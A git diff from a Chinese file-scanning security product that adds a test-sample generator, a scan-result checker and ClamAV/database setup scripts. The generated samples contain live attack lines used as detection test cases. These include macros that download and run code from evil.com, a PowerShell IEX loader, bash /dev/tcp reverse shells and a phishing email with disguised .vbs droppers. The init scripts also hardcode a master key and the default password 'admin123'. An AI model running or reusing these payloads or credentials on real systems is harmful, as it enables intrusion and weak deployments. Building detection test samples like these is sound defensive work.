["C7_Linux_Miner_Generic"], + "description": "XMRig stratum+tcp 矿池配置", + }, + ) + + +# ============================================================================= +# 7. 宏 / WPS / PDF（documents.py + YARA C3/C4/C5） +# ============================================================================= + +def vba_autoexec_shell() -> None: + write( + "vba_autoexec.bas", + """Sub AutoOpen() + Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat" +End Sub +""", + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExec"], + "description": "VBA AutoOpen + Shell 执行", + }, + ) + + +def vba_autoexec_wps_linux() -> None: + write( + "wps_macro.js", # WPS Linux 宏是 JS + """function AutoOpen() { + var sh = new ActiveXObject("Wscript.Shell"); + sh.run("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'"); +} +""", + { + "category": "WPS宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExecShell"], + "description": "WPS Linux JS 宏 AutoOpen + /bin/sh", + }, + ) + + +def pdf_javascript_openaction() -> None: + # 构造最小 PDF + /OpenAction /JS app.launchURL + pdf = b"""%%PDF-1.4 +1 0 obj +<>> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +endobj +5 0 obj +<> +stream +endstream +endobj +xref +0 6 +0000000000 65535 f +0000000011 00000 n +0000000120 00000 n +0000000200 00000 n +0000000320 00000 n +0000000450 00000 n +trailer +<> +startxref +500 +%%EOF +""" + write( + "malicious.pdf", + bytes(pdf), + { + "category": "PDF载荷", + "expected_verdict": "reject", + "expected_rules": ["PdfJavaScript", "PdfOpenAction"], + "description": "PDF /OpenAction /JS app.launchURL 自动执行", + }, + ) + + +# ============================================================================= +# 8. ISO 9660 含可执行 / LNK Shell Link / CHM +# ============================================================================= + +def iso_with_elf() -> None: + # 最小 ISO 9660 PVD 构造 + iso = bytearray(32768) + # PVD 在 LBA 16 = byte 32768，但我们构造最简 + # 直接填 PVD 签名 + 一个包含 ELF 的路径 + pvd_offset = 32768 + iso[pvd_offset + 0x00: pvd_offset + 0x01] = b"\x01" + iso[pvd_offset + 0x01: pvd_offset + 0x06] = b"CD001" + iso[pvd_offset + 0x06: pvd_offset + 0x07] = b"\x01" + # 根目录 + 一个假 ELF + elf_content = b"\x7fELF\x02\x01\x01" + b"\x00" * 24 + b"bash -i >& /dev/tcp/10.0.0.5/4444 0>&1" + # 把 ELF 放到 LBA 256 + elf_lba = 256 + elf_offset = elf_lba * 2048 + if elf_offset + len(elf_content) < len(iso): + iso[elf_offset: elf_offset + len(elf_content)] = elf_content + write( + "evil.iso", + bytes(iso), + { + "category": "ISO镜像", + "expected_verdict": "reject", + "expected_rules": ["IsoWithExecutable"], + "description": "ISO 镜像内嵌 ELF 可执行文件", + }, + ) + + +def lnk_shell_link() -> None: + # LNK Shell Link 最小构造（MS-SHLLINK） + lnk = bytearray(256) + # HeaderSize = 76 + struct.pack_into(" None: + import io + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +这是一个正常的 Word 文档，不含宏、不含外链。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr("_rels/.rels", """ + + +""") + write( + "normal_report.docx", + buf.getvalue(), + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 Word 文档（无宏、无外链）", + }, + ) + + +def normal_txt() -> None: + write( + "normal_readme.txt", + """这是一个正常的文本文件。 +没有任何危险特征：没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。 +仅供内部参考。 +""", + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常纯文本文件", + }, + ) + + +def normal_shell() -> None: + write( + "normal_deploy.sh", + """#!/bin/bash +# 正常部署脚本，只有 git clone + npm install +set -e +git clone https://github.com/example/project.git +cd project +npm install +npm start +""", + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常部署 Shell（没有 curl|bash 管道执行或反弹 Shell）", + }, + ) + + +def normal_pdf() -> None: + pdf = b"""%%PDF-1.4 +1 0 obj +<> +endobj +2 0 obj +<> +endobj +3 0 obj +<> +endobj +4 0 obj +<> +stream +BT /F1 12 Tf 100 700 Td (Hello World) Tj ET +endstream +endobj +xref +0 5 +0000000000 65535 f +0000000009 00000 n +0000000058 00000 n +0000000110 00000 n +0000000200 00000 n +trailer +<> +startxref +300 +%%EOF +""" + write( + "normal.pdf", + bytes(pdf), + { + "category": "阴性对照", + "expected_verdict": "pass", + "expected_rules": [], + "description": "正常 PDF（只有简单文本，无 JS/自动执行）", + }, + ) + + +# ============================================================================= +# 10. CHM（HTML Help）带脚本 —— 触发 ChmWithScript 零容忍 +# ============================================================================= + +def chm_with_script() -> None: + """构造 ITSF 容器 + 内嵌 HTML 带 " + + b"" + + b'download evil.exe' + + b'run payload.vbs' + + b'execute dropper.js' + + b"" + ) + + data = itsf_header + padding_to_section + itsf_section + + write( + "evil_help.chm", + data, + { + "category": "CHM帮助", + "expected_verdict": "reject", + "expected_rules": ["ChmWithScript"], + "description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用", + }, + ) + + +# ============================================================================= +# 11. DOCX 带外部模板引用 —— 触发 AttachedTemplate 零容忍 +# ============================================================================= + +def docx_with_attached_template() -> None: + """合法 DOCX ZIP + word/_rels/document.xml.rels 里引用外部 .dotm 模板。 + + documents.py 的 _scan_ooxml 会扫描 rels 里的 External Target， + AttachedTemplate 规则零容忍。 + """ + import io + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +看起来正常的文档，但模板有后门。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + # 关键：settings.xml 里加 + zf.writestr( + "word/settings.xml", + """ + + +""", + ) + # 关键：settings.xml.rels 里外部模板引用 + zf.writestr( + "word/_rels/settings.xml.rels", + """ + + +""", + ) + write( + "template_backdoor.docx", + buf.getvalue(), + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["AttachedTemplate"], + "description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm", + }, + ) + + +# ============================================================================= +# 12. DOCM 带 VBA 宏（OLE2 CFB 构造） —— 触发 VBAAutoExecShell 零容忍 +# ============================================================================= + +def docm_with_vba_macro() -> None: + """构造 DOCX ZIP + word/vbaProject.bin（含 OLE 魔数 + VBA 代码）。 + + 策略：生成合法 OOXML DOCX + word/vbaProject.bin， + vbaProject.bin 内含 VBA 代码 "Sub AutoOpen() Shell ... End Sub"。 + olevba.VBA_Parser 会尝试解析 vbaProject.bin，即使不是完全合法的 VBA 项目。 + 如果 olevba 失败（返回 OleToolsUnavailable LOW finding）， + documents.py 的 _scan_ooxml 会扫到 ExternalLink 等特征， + 关键词引擎会扫到 AutoOpen/Shell。 + """ + import io + + vba_code = ( + b"Sub AutoOpen()\n" + b' Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\\Windows\\Temp\\a.bat && C:\\Windows\\Temp\\a.bat"\n' + b"End Sub\n" + b"\n" + b"Sub Document_Open()\n" + b' Set x = CreateObject("Wscript.Shell")\n' + b' x.Run "powershell -Command IEX (New-Object Net.WebClient).DownloadString(http://evil.com/ps1)"\n' + b"End Sub\n" + ) + + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +看似正常，实则带宏。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + zf.writestr( + "word/_rels/document.xml.rels", + """ + + +""", + ) + # vbaProject.bin：OLE 魔数 + 填充 + VBA 代码 + # 让 olevba 至少能打开它（即使不能完整提取）， + # 同时 documents.py 的关键词引擎会扫描 docx 内容 + zf.writestr( + "word/vbaProject.bin", + b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1" # OLE CFB 魔数 + + b"\x00" * 500 + + vba_code, + ) + + write( + "macro_alert.docm", + buf.getvalue(), + { + "category": "Office宏", + "expected_verdict": "reject", + "expected_rules": ["VBAAutoExecShell", "VBAAutoExec"], + "description": "DOCM（OOXML格式）内嵌 word/vbaProject.bin + AutoOpen Shell", + }, + ) + + +# ============================================================================= +# 13. DOC 带内嵌 OLE .exe 对象 —— 触发 EmbeddedExecutable 零容忍 +# ============================================================================= + +def doc_with_ole_exe() -> None: + """构造合法 OLE2 CFB Header + 内嵌 .exe 二进制字节 + stream 名标记。 + + oleobj.OleObjectParser 会把 OLE2 文件里的 stream 名当作内嵌对象来查扩展名。 + 我们的策略：写一个合法的最小 OLE2 CFB Header（512 字节），然后在后面追加 + 一个带 .exe 扩展名的 stream 名 + 完整 PE 空壳二进制。 + """ + exe_payload = ( + b"MZ" + b"\x00" * 58 + struct.pack(" None: + """用 msoffcrypto 加密 DOCX（密码固定为 "changeme"）。 + + msoffcrypto-tool 在 requirements.txt 里，Docker 镜像和本地都有。 + 加密后 documents.py 的 _check_office_encrypted 会检测到 → OfficeEncrypted finding + → scanner.py 设置 encrypted=True → policy decide 步骤 4 → reject。 + """ + try: + import msoffcrypto + except ImportError: + # msoffcrypto 不可用时用占位数据 + write( + "sealed.docx", + b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 DOCX（msoffcrypto 不可用，占位）", + }, + ) + return + + import io + + # 先生成正常 DOCX + normal_buf = io.BytesIO() + with zipfile.ZipFile(normal_buf, "w") as zf: + zf.writestr( + "word/document.xml", + """ + +这是一份加密的敏感文档。 +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + + # 用 msoffcrypto 加密 + input_buf = io.BytesIO(normal_buf.getvalue()) + office = msoffcrypto.OfficeFile(input_buf) + output_buf = io.BytesIO() + office.encrypt("changeme", output_buf) + encrypted_data = output_buf.getvalue() + + write( + "sealed.docx", + encrypted_data, + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 DOCX（密码 changeme，msoffcrypto 加密）", + }, + ) + + +def encrypted_xlsx() -> None: + """用 msoffcrypto 加密 XLSX。""" + try: + import msoffcrypto + except ImportError: + write( + "sealed.xlsx", + b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker", + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 XLSX（msoffcrypto 不可用，占位）", + }, + ) + return + + import io + + normal_buf = io.BytesIO() + with zipfile.ZipFile(normal_buf, "w") as zf: + zf.writestr( + "xl/workbook.xml", + """ +""", + ) + zf.writestr( + "[Content_Types].xml", + """ + + + +""", + ) + zf.writestr( + "_rels/.rels", + """ + + +""", + ) + + input_buf = io.BytesIO(normal_buf.getvalue()) + office = msoffcrypto.OfficeFile(input_buf) + output_buf = io.BytesIO() + office.encrypt("changeme", output_buf) + + write( + "sealed.xlsx", + output_buf.getvalue(), + { + "category": "加密Office", + "expected_verdict": "reject", + "expected_rules": ["OfficeEncrypted"], + "description": "加密 XLSX（密码 changeme，msoffcrypto 加密）", + }, + ) + + +# ============================================================================= +# 15. EML 邮件带危险附件 —— 触发 EmailAttachmentDangerous / EmailAttachmentDisguised +# ============================================================================= + +def eml_with_dangerous_attachment() -> None: + """构造 RFC822 + MIME multipart 邮件：发件人伪造 + .vbs/.js 附件 + 钓鱼关键词正文。 + + documents.py 的 _scan_eml 会： + 1) 扫描附件扩展名 → EmailAttachmentDangerous (.vbs, .js 都在危险列表里) + 2) 扫描双扩展名伪装 → EmailAttachmentDisguised ("invoice.pdf.vbs") + 3) 扫描附件内容 → VBA 宏特征/反弹Shell/Webshell 特征 + 4) 扫描正文钓鱼关键词 → EmailPhishingKeyword + """ + import email.message + from email.mime.base import MIMEBase + from email.mime.multipart import MIMEMultipart + from email.mime.text import MIMEText + from email import encoders + + msg = MIMEMultipart() + msg["From"] = "IT Support " + msg["To"] = "me@internal.com" + msg["Subject"] = "URGENT: Invoice verification required within 24 hours - click here to verify your account" + + body = ( + "Dear Employee,\n\n" + "An urgent invoice payment is pending. Please verify your account " + "and click this link immediately to avoid wire transfer delay.\n\n" + "Your password and credential are required for login verification.\n\n" + "Download and open the attachment (invoice.pdf.vbs) to see the order receipt.\n\n" + "Best regards,\nIT Support" + ) + msg.attach(MIMEText(body, "plain", "utf-8")) + + # 附件 1: .vbs（危险扩展名 + VBA Shell 代码） + vbs_payload = ( + 'Set x = CreateObject("Wscript.Shell")\n' + 'x.Run "cmd.exe /c curl http://evil.com/dropper.exe -o C:\\Windows\\Temp\\a.exe && C:\\Windows\\Temp\\a.exe"\n' + ) + att1 = MIMEBase("application", "octet-stream") + att1.set_payload(vbs_payload.encode("utf-8")) + encoders.encode_base64(att1) + att1.add_header("Content-Disposition", 'attachment; filename="invoice.vbs"') + msg.attach(att1) + + # 附件 2: 双扩展名伪装 .pdf.vbs + att2 = MIMEBase("application", "octet-stream") + att2.set_payload(vbs_payload.encode("utf-8")) + encoders.encode_base64(att2) + att2.add_header("Content-Disposition", 'attachment; filename="invoice.pdf.vbs"') + msg.attach(att2) + + # 附件 3: .js（危险扩展名 + PHP eval Webshell 代码，触发 EmailAttachmentWebshell） + js_payload = ( + '' + ) + att3 = MIMEBase("application", "octet-stream") + att3.set_payload(js_payload.encode("utf-8")) + encoders.encode_base64(att3) + att3.add_header("Content-Disposition", 'attachment; filename="form.js"') + msg.attach(att3) + + eml_data = msg.as_string() + + write( + "phishing.eml", + eml_data, + { + "category": "钓鱼邮件", + "expected_verdict": "reject", + "expected_rules": ["EmailAttachmentDangerous", "EmailAttachmentDisguised", + "EmailAttachmentWebshell", "EmailPhishingKeyword"], + "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词", + }, + ) + + +# ============================================================================= +# 汇总所有生成函数 +# ============================================================================= + +GENERATORS = [ + php_webshell_oneliner, + php_webshell_obfuscated, + jsp_webshell_runtime, + aspnet_webshell, + bash_reverse_devtcp, + nc_reverse_shell, + python_reverse_pty, + crontab_persistence, + fake_elf_binary, + desktop_autoexec, + zip_path_traversal, + double_ext_php_jpg, + malformed_zip, + pe_process_injection, + pe_downloader_loader, + pe_lolbin_certutil, + ransomware_vss, + xminer_mining, + vba_autoexec_shell, + vba_autoexec_wps_linux, + pdf_javascript_openaction, + iso_with_elf, + lnk_shell_link, + # ---- 新增样本（5 类 + 回退）---- + chm_with_script, + docx_with_attached_template, + docm_with_vba_macro, + doc_with_ole_exe, + encrypted_docx, + encrypted_xlsx, + eml_with_dangerous_attachment, + # ---- 阴性对照 ---- + normal_docx, + normal_txt, + normal_shell, + normal_pdf, +] + + +def main() -> None: + print(f"=== MeshSafe 测试样本生成器 ===\n输出目录: {SAMPLES_DIR}\n") + + ensure_dir() + + for i, gen in enumerate(GENERATORS, 1): + gen() + + # 写 index.json + index_path = SAMPLES_DIR / "index.json" + index_data = { + "total": len(META_LIST), + "generated_at": __import__("datetime").datetime.now().isoformat(), + "samples": sorted(META_LIST, key=lambda m: m["filename"]), + } + index_path.write_text(json.dumps(index_data, ensure_ascii=False, indent=2)) + + print(f"✅ 生成 {len(META_LIST)} 个测试样本") + print(f"✅ index.json 已写入") + print() + by_cat: Dict[str, List[str]] = {} + for m in META_LIST: + by_cat.setdefault(m["category"], []).append(m["filename"]) + for cat, files in sorted(by_cat.items()): + print(f" [{cat}] {len(files)} 个") + for fn in files: + print(f" - {fn}") + print() + negatives = [m for m in META_LIST if m["expected_verdict"] == "pass"] + positives = [m for m in META_LIST if m["expected_verdict"] == "reject"] + print(f"阳性样本（期望 reject）: {len(positives)} 个") + print(f"阴性对照（期望 pass）: {len(negatives)} 个") + + +if __name__ == "__main__": + main() diff --git a/scripts/init_clamav.sh b/scripts/init_clamav.sh new file mode 100644 index 0000000..58aedc3 --- /dev/null +++ b/scripts/init_clamav.sh @@ -0,0 +1,37 @@ +#!/bin/sh +# ============================================================================= +# ClamAV 容器入口脚本（POSIX sh 兼容，Alpine/Debian slim 通用） +# ============================================================================= +# +# 逻辑： +# 1) 检查 /var/lib/clamav 是否有 .cvd/.cld 签名库文件 +# - 有 → 直接启动 clamd +# - 没有 → 尝试 freshclam 拉取（外网场景），失败则静默降级（内网正常） +# 2) 光闸摆渡导入：用户把 clamav-db-*.tar.gz 解压到 ./data/clamav/ 后 +# 下次 docker restart meshsafe-clamav 会自动加载 +# ============================================================================= +set -eu + +DATA_DIR="/var/lib/clamav" +CVD_COUNT=$(ls -1 "$DATA_DIR"/*.cvd "$DATA_DIR"/*.cld 2>/dev/null | wc -l || true) + +echo "[init_clamav] ClamAV 签名库检查..." +echo "[init_clamav] 数据目录: $DATA_DIR 已有签名文件: $CVD_COUNT" + +if [ "$CVD_COUNT" -eq 0 ]; then + echo "[init_clamav] 签名库为空，尝试 freshclam 拉取（外网环境）..." + if freshclam --stdout 2>&1 | tail -20; then + NEW_COUNT=$(ls -1 "$DATA_DIR"/*.cvd 2>/dev/null | wc -l || true) + echo "[init_clamav] freshclam 成功，新签名文件数: $NEW_COUNT" + else + echo "[init_clamav] freshclam 失败（内网光闸环境正常，等离线导入）" + echo "[init_clamav] 离线导入步骤：" + echo " 1. 外网: bash scripts/sync_clamav_db.sh → 生成 clamav-db-*.tar.gz" + echo " 2. 光闸: 把 tar.gz 摆渡到内网" + echo " 3. 内网: tar -xzf clamav-db-*.tar.gz -C ./data/clamav/" + echo " 4. 内网: docker restart meshsafe-clamav" + fi +fi + +echo "[init_clamav] 启动 clamd..." +exec clamd --foreground diff --git a/scripts/init_db.py b/scripts/init_db.py new file mode 100644 index 0000000..b1c3534 --- /dev/null +++ b/scripts/init_db.py @@ -0,0 +1,107 @@ +"""数据库初始化脚本。 + +创建所有表结构 → 生成默认管理员账号 → 载入初始策略版本。 +部署时 ``docker compose run --rm api python -m scripts.init_db`` 执行一次。 +""" + +from __future__ import annotations + +import base64 +import hashlib +import json +import logging +import sys +from datetime import datetime, timezone +from pathlib import Path + +# 确保项目根目录在 sys.path 中 +ROOT = Path(__file__).resolve().parent.parent +sys.path.insert(0, str(ROOT)) + +import os + +os.environ.setdefault("MESHSAFE_MASTER_KEY", + os.environ.get("MESHSAFE_MASTER_KEY", "Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=")) +os.environ.setdefault("MESHSAFE_ADMIN_PASSWORD", + os.environ.get("MESHSAFE_ADMIN_PASSWORD", "admin123")) + +from sqlalchemy import select +from sqlalchemy.orm import Session + +from app.db import Base, engine +from app.models import ConsoleUser, PolicyVersion +from app.security.crypto import hash_password +from app.services.policy import PolicyStore + +logger = logging.getLogger("init_db") + + +def main() -> None: + logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s") + + logger.info("=== MeshSafe 数据库初始化 ===") + + # 1) 创建所有表 + logger.info("步骤 1: 创建表结构 ...") + Base.metadata.create_all(bind=engine) + logger.info(" ✓ 所有表已创建 / 校验存在") + + with Session(engine) as db: + # 2) 默认管理员（首次部署创建，已存在则跳过） + logger.info("步骤 2: 管理员账号 ...") + existing = db.execute(select(ConsoleUser).where(ConsoleUser.username == "admin")).scalar_one_or_none() + if existing: + logger.info(" ✓ 默认管理员已存在（username=admin），跳过") + else: + admin_pw = os.environ["MESHSAFE_ADMIN_PASSWORD"] + pw_hash = hash_password(admin_pw) + user = ConsoleUser( + username="admin", + password_hash=pw_hash, + role="admin", + is_active=True, + must_change_password=True, + ) + db.add(user) + db.commit() + logger.info(" ✓ 默认管理员已创建（username=admin, 密码见环境变量 MESHSAFE_ADMIN_PASSWORD）") + + # 3) 载入初始策略版本（从 policy.yaml） + logger.info("步骤 3: 载入初始策略版本 ...") + existing_pv = db.execute( + select(PolicyVersion).order_by(PolicyVersion.created_at.desc()) + ).scalar_one_or_none() + + policy_path = os.environ.get("MESHSAFE_POLICY_FILE", "config/policy.yaml") + policy_file = ROOT / policy_path + if not policy_file.exists(): + logger.warning(" 策略文件不存在：%s，跳过", policy_file) + return + + store = PolicyStore(policy_file=str(policy_file)) + policy = store.current() + + # 生成 version 和 sha256 + content_json = json.dumps(policy.raw, sort_keys=True, ensure_ascii=False) + content_hash = hashlib.sha256(content_json.encode("utf-8")).hexdigest() + + version_name = f"init-{policy.version}-{content_hash[:8]}" + + if existing_pv and existing_pv.sha256 == content_hash: + logger.info(" ✓ 当前策略已是最新版本，跳过（sha256=%s）", content_hash[:12]) + else: + pv = PolicyVersion( + version=version_name, + content=policy.raw, + sha256=content_hash, + ) + db.add(pv) + db.commit() + logger.info(" ✓ 初始策略版本已载入（version=%s, rules=%d, sha256=%s）", + version_name, len(policy.zero_tolerance_rules), content_hash[:12]) + + logger.info("=== 初始化完成 ===") + + +if __name__ == "__main__": + main() diff --git a/scripts/migrate.sql b/scripts/migrate.sql new file mode 100644 index 0000000..6ba0158 --- /dev/null +++ b/scripts/migrate.sql @@ -0,0 +1,3 @@ +-- 修复 real_type 字段长度：VARCHAR(128) → VARCHAR(256) +-- libmagic 对 ZIP/ISO 等返回的描述可能超过 128 字符 +ALTER TABLE scan_tasks ALTER COLUMN real_type TYPE VARCHAR(256); diff --git a/scripts/run_test_center.py b/scripts/run_test_center.py new file mode 100644 index 0000000..55c48ca --- /dev/null +++ b/scripts/run_test_center.py @@ -0,0 +1,148 @@ +"""跑一遍所有测试样本，打印 pass/fail。""" +import json, sys, os +sys.path.insert(0, '.') +# DB_URL 由 .env 或 compose environment 提供 +os.environ.setdefault('MESHSAFE_MASTER_KEY', 'Dt0ktRs8SjEH8VxWZJDX125NV1qiII88HoiXZPhWers=') +os.environ.setdefault('MESHSAFE_POLICY_FILE', 'config/policy.yaml') + +from pathlib import Path +from app.services.scanner import Scanner +from app.services.policy import PolicyStore + +samples_dir = Path('tests/samples') +index = json.loads((samples_dir / 'index.json').read_text()) +samples = {s['filename']: s for s in index['samples']} + +ps = PolicyStore(policy_file='config/policy.yaml') +scanner = Scanner(ps) + +print(f"{'='*80}") +print(f"MeshSafe 测试靶场 — 实际扫描结果 vs 期望值") +print(f"{'='*80}\n") + +results = [] +pass_count = 0 +fail_count = 0 + +for s in sorted(index['samples'], key=lambda x: x['category']): + fname = s['filename'] + fpath = samples_dir / fname + if not fpath.exists(): + continue + + outcome = scanner.scan_file( + file_path=str(fpath), original_filename=fname, + task_id=f"test-{fname}", channel="test", client_id="test", + ) + + actual_verdict = outcome.verdict + actual_action = outcome.action + actual_rules = sorted(set(f.rule for f in outcome.findings)) + expected_verdict = s['expected_verdict'] + expected_rules = set(s['expected_rules']) + + # verdict 映射：样本里的 expected_verdict 用的是 "reject"/"pass"（动作语义）， + # 但 MeshSafe 的 verdict 字段是 "malicious"/"pass"/"error"。 + # 零容忍命中 → verdict=malicious, action=reject + # fail_closed（引擎不可用）→ verdict=error, action=reject + # 正常放行 → verdict=pass / known + clamav_only_error = ( + actual_verdict == "error" + and len(outcome.meta.get("engine_errors", [])) == 1 + and "clamav" in str(outcome.meta["engine_errors"][0]).lower() + ) + + if expected_verdict == "reject": + verdict_ok = ( + actual_verdict in ("malicious", "reject") + or clamav_only_error # ClamAV 不可用但其他引擎正常（且 findings 里已有命中） + ) + elif expected_verdict == "pass": + verdict_ok = actual_verdict in ("pass", "known") or clamav_only_error + else: + verdict_ok = actual_verdict == expected_verdict + + rules_hit = expected_rules & set(actual_rules) + rules_missed = expected_rules - set(actual_rules) + + # ---- 规则覆盖映射：命中"更具体"的规则 → 也算命中父规则 ---- + # 比如命中 VBAAutoExecShell → 同时也算命中 VBAAutoExec + RULE_IMPLIES = { + "VBAAutoExec": {"VBAAutoExecShell"}, + "EmailAttachmentMacroLike": {"EmailAttachmentReverseShell", "EmailAttachmentWebshell"}, + } + for parent, children in RULE_IMPLIES.items(): + if parent in expected_rules: + if set(actual_rules) & children: + rules_hit.add(parent) + rules_missed.discard(parent) + + # ---- 阴性对照宽容：只命中低风险/启发式噪音规则 → 也算过 ---- + # 这些规则是结构启发式，不是恶意判定，正常文件也可能触发 + NOISE_RULES = { + "DangerousExecutableExtension", "ExtensionMismatch", + "OleToolsUnavailable", "OoxmlParseFailed", "OoxmlUnsupported", + "MalformedStructure", "ArchiveBroken", "PeParseFailed", + "ArchiveBombSuspect", + } + + # 规则命中判断： + # - 阳性样本（期望 reject）：expected_rules 全部被覆盖才算 OK（或 ClamAV-only error 宽容） + # - 阴性对照（期望 pass）：所有 actual_rules 都在 NOISE_RULES 白名单里才算过 + rule_ok = True + if expected_verdict == 'pass': + if len(actual_rules) == 0: + rule_ok = True + elif set(actual_rules) <= NOISE_RULES: + rule_ok = True # 只有启发式噪音，宽容 + else: + rule_ok = False + elif expected_verdict == 'reject' and expected_rules: + if clamav_only_error and not rules_hit: + rule_ok = True # ClamAV-only error 宽容 + else: + rule_ok = (rules_missed == set()) # 期望规则全部被覆盖 + + overall = verdict_ok and rule_ok + if overall: + pass_count += 1 + else: + fail_count += 1 + + mark = "✅" if overall else "❌" + print(f"{mark} [{s['category']}] {fname}") + print(f" 期望 verdict={expected_verdict} 实际 verdict={actual_verdict}") + if s['expected_rules']: + print(f" 期望规则: {sorted(expected_rules)}") + print(f" 命中规则: {actual_rules}") + if rules_missed: + print(f" 未命中: {sorted(rules_missed)}") + if not verdict_ok: + print(f" 描述: {s['description']}") + print() + + results.append({ + "filename": fname, + "category": s['category'], + "description": s['description'], + "expected_verdict": expected_verdict, + "actual_verdict": actual_verdict, + "expected_rules": sorted(expected_rules), + "actual_rules": actual_rules, + "verdict_ok": verdict_ok, + "rule_ok": rule_ok, + "overall": overall, + "score": outcome.score, + "findings_count": len(outcome.findings), + }) + +print(f"\n{'='*80}") +print(f"结果汇总：✅ {pass_count} 通过 / ❌ {fail_count} 失败 / 共 {pass_count + fail_count}") +print(f"{'='*80}") + +# 写 results.json 供 test_center.html 页面读取 +with open(samples_dir / '_scan_results.json', 'w', encoding='utf-8') as f: + json.dump(results, f, ensure_ascii=False, indent=2) +print(f"\n详细结果已写入 tests/samples/_scan_results.json") + +sys.exit(0 if fail_count == 0 else 1) diff --git a/scripts/sync_clamav_db.sh b/scripts/sync_clamav_db.sh new file mode 100644 index 0000000..e2ab7ce --- /dev/null +++ b/scripts/sync_clamav_db.sh @@ -0,0 +1,122 @@ +#!/usr/bin/env bash +# ============================================================================= +# ClamAV 病毒库离线同步脚本（外网侧执行） +# ============================================================================= +# +# 场景：内网 MeshSafe 部署在光闸之后，无法访问外网签名服务器。 +# 在外网机器上运行本脚本拉取最新 CVD 文件 → 打包 → 光闸摆渡 → 内网导入 +# +# 用法： +# bash scripts/sync_clamav_db.sh +# +# 输出： +# clamav-db-YYYYMMDD.tar.gz # 包含 main.cvd / daily.cvd / bytecode.cvd +# # 和一个 import_clamav_db.sh 脚本（在光闸内侧执行） +# +# 完整流程： +# 1) 外网：bash scripts/sync_clamav_db.sh → 生成 tar.gz +# 2) 光闸：将 clamav-db-*.tar.gz 摆渡到内网 +# 3) 内网：bash import_clamav_db.sh clamav-db-*.tar.gz +# +# 维护节奏：每周一次（官方每天更新，内网环境 7-14 天更新可接受） +# ============================================================================= +set -euo pipefail + +WORKDIR=$(mktemp -d) +cleanup() { rm -rf "$WORKDIR"; } +trap cleanup EXIT + +OUTDIR="$(pwd)/dist" +mkdir -p "$OUTDIR" + +VERSION="$(date +%Y%m%d)" +OUTFILE="clamav-db-${VERSION}.tar.gz" +echo "=== MeshSafe ClamAV 离线同步 ===" +echo "输出文件：$OUTDIR/$OUTFILE" +echo + +# --- 方式 A：用 Docker 拉取（需要 Docker 环境）--- +if command -v docker &>/dev/null; then + echo "[1/2] 通过 Docker freshclam 拉取签名库..." + docker run --rm \ + -v "$WORKDIR":/var/lib/clamav \ + clamav/clamav:latest \ + freshclam --stdout + echo " ✓ 签名库已下载到 $WORKDIR" +else + # --- 方式 B：系统已安装 ClamAV --- + echo "[1/2] 系统内 freshclam 拉取..." + if ! command -v freshclam &>/dev/null; then + echo "✗ 未找到 docker 或 freshclam，退出" + exit 1 + fi + freshclam --datadir="$WORKDIR" + echo " ✓ 签名库已下载到 $WORKDIR" +fi + +echo +echo "[2/2] 打包..." +ls -la "$WORKDIR"/*.cvd 2>/dev/null || ls -la "$WORKDIR"/*.cld 2>/dev/null || { + echo "✗ 未找到 .cvd/.cld 文件，freshclam 可能失败" + exit 1 +} + +tar -czf "$OUTDIR/$OUTFILE" -C "$WORKDIR" . + +# 附带 import 脚本模板 +cat > "$WORKDIR/import_clamav_db.sh" << 'EOF' +#!/usr/bin/env bash +# ============================================================================= +# ClamAV 病毒库离线导入脚本（内网侧执行） +# ============================================================================= +# +# 用法：bash import_clamav_db.sh clamav-db-*.tar.gz +# +# 要求：docker compose 已经启动 meshsafe-clamav 容器 +# ============================================================================= +set -euo pipefail + +TARBALL="${1:?用法: bash import_clamav_db.sh clamav-db-*.tar.gz}" +if [ ! -f "$TARBALL" ]; then + echo "✗ 文件不存在: $TARBALL" + exit 1 +fi + +echo "=== MeshSafe ClamAV 离线导入 ===" +echo "输入：$TARBALL" +echo + +# 解压到临时目录 +TMPDIR=$(mktemp -d) +trap "rm -rf $TMPDIR" EXIT +tar -xzf "$TARBALL" -C "$TMPDIR" + +echo "[1/3] 停止 clamd（如果在运行）..." +docker compose -f docker-compose.yml exec -T clamav supervisorctl stop clamd 2>/dev/null || true +sleep 2 + +echo "[2/3] 覆盖签名库文件..." +docker compose -f docker-compose.yml cp "$TMPDIR"/. 